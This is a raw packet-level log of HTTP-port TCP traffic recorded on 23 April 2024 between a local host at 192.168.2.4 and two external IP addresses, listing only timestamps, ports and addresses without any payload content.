Apr 23, 2024 09:38:04.742594957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.742610931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.742647886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.742711067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743156910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743299961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743308067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743336916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743349075 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743372917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743386030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743408918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743412971 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743444920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743469954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743480921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743494987 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743516922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743529081 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743554115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743577957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743588924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743624926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743642092 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743662119 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743670940 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743697882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743705034 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743733883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743746042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743768930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743778944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743804932 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743819952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743840933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743849993 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743875980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743901968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743911982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743923903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743949890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.743963957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.743985891 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744021893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744033098 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744056940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744066954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744092941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744132996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744132996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744146109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744183064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744218111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744242907 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744252920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744263887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744291067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744301081 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744326115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744333982 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744363070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744375944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744398117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744406939 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744434118 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744445086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744471073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744482994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744505882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744520903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744543076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744549036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744579077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744592905 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744615078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744651079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744663000 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744685888 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744697094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744721889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744734049 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744756937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744767904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744792938 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744810104 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744828939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744841099 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744865894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744875908 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744904041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744927883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744940996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744946957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.744977951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.744987011 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745013952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745049000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745063066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745085001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745090961 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745121002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745150089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745157003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745187998 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745194912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745232105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745249033 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745249033 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745266914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745276928 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745305061 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745321035 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745342016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745345116 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745379925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745407104 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745415926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745445013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745452881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745462894 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745488882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745522976 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745523930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745551109 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745559931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745570898 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745596886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745624065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745632887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745662928 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745668888 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745676994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745704889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745712996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745740891 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745764017 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745778084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745790958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745814085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745845079 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745851040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745866060 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745887995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745913029 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745924950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745932102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745961905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.745969057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.745997906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746010065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746032953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746040106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746068954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746081114 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746105909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746110916 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746141911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746153116 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746176958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746186972 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746212959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746227026 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746259928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746277094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746298075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746305943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746334076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746345997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746368885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746381998 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746406078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746432066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746440887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746450901 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746476889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746514082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746525049 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746551991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746565104 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746587038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746612072 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746623039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746630907 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746659040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746669054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746696949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746732950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746741056 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746767998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746803999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746814013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746814013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746840000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746850014 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746876001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746902943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746912003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746937037 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746948957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746973038 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.746984959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.746994972 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747021914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747055054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747059107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747075081 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747095108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747128010 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747129917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747144938 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747167110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747191906 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747201920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747219086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747239113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747268915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747276068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747296095 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747313976 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747340918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747349977 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747360945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747386932 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747389078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747425079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747462034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.747492075 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.747507095 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.942272902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942332983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942353010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942372084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942384958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942410946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942423105 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942449093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942452908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942500114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942509890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942548990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942557096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942589045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942598104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942626953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942646980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942662954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942672968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942702055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942708969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942739010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942780018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942791939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942816973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942830086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942857027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942869902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942894936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942902088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942934036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942944050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.942970037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.942977905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943006039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943012953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943043947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943052053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943083048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943097115 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943126917 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943140030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943180084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943193913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943219900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943233967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943257093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943295002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943317890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943331003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943331003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943348885 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943367958 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943380117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943406105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943418026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943444014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943480968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943486929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943517923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943526030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943553925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943562984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943591118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943598986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943631887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943640947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943670034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943675041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943707943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943722963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943743944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943753958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943782091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943788052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943820000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.943829060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.943866014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.144871950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.144952059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.144985914 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.144990921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145015001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145035028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145045042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145076990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145087004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145113945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145119905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145150900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145159960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145205975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145242929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145256042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145282984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145287991 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145328999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145335913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145371914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145375967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145416021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145426035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145463943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145468950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145500898 CEST	80	49733	185.172.128.76	192.168.2.4
